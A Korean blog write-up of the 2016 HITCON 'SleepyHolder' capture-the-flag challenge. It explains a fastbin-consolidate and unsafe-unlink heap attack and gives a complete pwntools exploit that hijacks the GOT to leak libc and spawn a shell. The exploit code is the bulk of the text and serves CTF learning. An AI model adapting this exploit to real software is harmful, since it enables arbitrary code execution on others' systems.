2016 hitcon sleepyholder
이 문제는 secretholder와 비슷하지만 다른점은 huge_secret이 처음에 할당만 할 수 있고 wipe, renew가 불가능하다는 점이다.
여기서 뭔 기법을 써서 풀어야할까 매우 고민했다. 큰 heap을 할당할 수 있으니 fastbin dup consolidate를 생각했는데, 나는 이 기법이 fastbin을 두 번 할당받고 싶을 때 사용하는 기법이라고만 생각했었는데 아니었다.
이 기법을 이용하면 fastbin 크기를 smallbin으로 사용할 수 있는 놀라운 일이 벌어진다. 즉, fastbin으로 병합을 할 수 있다는 것이다..
또한 secretholder에서 발견한 취약점인 nextchunk의 prev size를 바꿔줄 수 있는 취약점을 이용하여 fakechunk를 가르키게 할 수 있다.
위 내용들을 바탕으로 unsafe unlink를 일으키고 쉘을 딸 수 있다.
여담으로는 이 페이로드와 똑같이 해서 secretholder도 쉘을 딸 수 있다..
x
from pwn import *
#context.log_level = 'debug'
e = ELF('./SleepyHolder')
s = process(e.path, env={'LD_PRELOAD':'./libc.so.6'})
l = ELF('./libc.so.6')
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
def menu(sel):
ru('3. Renew secret\n')
sl(sel)
def keep(level, data):
menu('1')
ru('secret\n')
sl(level)
ru('secret: \n')
sl(data)
def wipe(level):
menu('2')
ru('Big secret\n')
sl(level)
def renew(level, data, toggle=0):
menu('3')
ru('secret\n')
sl(level)
ru('secret: \n')
if toggle:
s.send(data)
else:
sl(data)
sleep(3)
keep('1', '1')
keep('2', '2')
wipe('1') # smallbin
keep('3', '3')
wipe('1') # fastbin
smallbuf = 0x6020D0
pay = p64(0) + p64(0x21)
pay += p64(smallbuf-24) + p64(smallbuf-16)
pay += p64(0x20)
keep('1', pay)
wipe('2')
renew('1', 'A'*8 + p64(e.got['free']) + p64(0xdeadbeef) + p64(smallbuf-24) + p64(1))
renew('2', p64(e.plt['puts']), toggle=1)
renew('1', 'A'*8 + p64(e.got['setvbuf']) + p64(0xdeadbeef) + p64(smallbuf-24) + p64(1))
wipe('2')
leak = u64(s.recv(6).ljust(8, '\x00'))
print('leak!: {}'.format(hex(leak)))
libc_base = leak - l.symbols['setvbuf']
print('libc_base!: {}'.format(hex(libc_base)))
system = libc_base + l.symbols['system']
print('system!: {}'.format(hex(system)))
binsh = libc_base + 0x18c58b
renew('1', 'A'*8 + p64(e.got['free']) + p64(0xdeadbeef) + p64(binsh) + p64(1))
renew('2', p64(system), toggle=1)
wipe('1')
io()
'system > writeup' 카테고리의 다른 글
2018 codegate superftp (0) | 2019.01.23 |
---|---|
2018 codegate baskinrobins31 (0) | 2019.01.22 |
2016 hitcon secretholder (0) | 2019.01.22 |
2017 secuinside ohce (0) | 2019.01.21 |
2016 codefate floppy (0) | 2019.01.20 |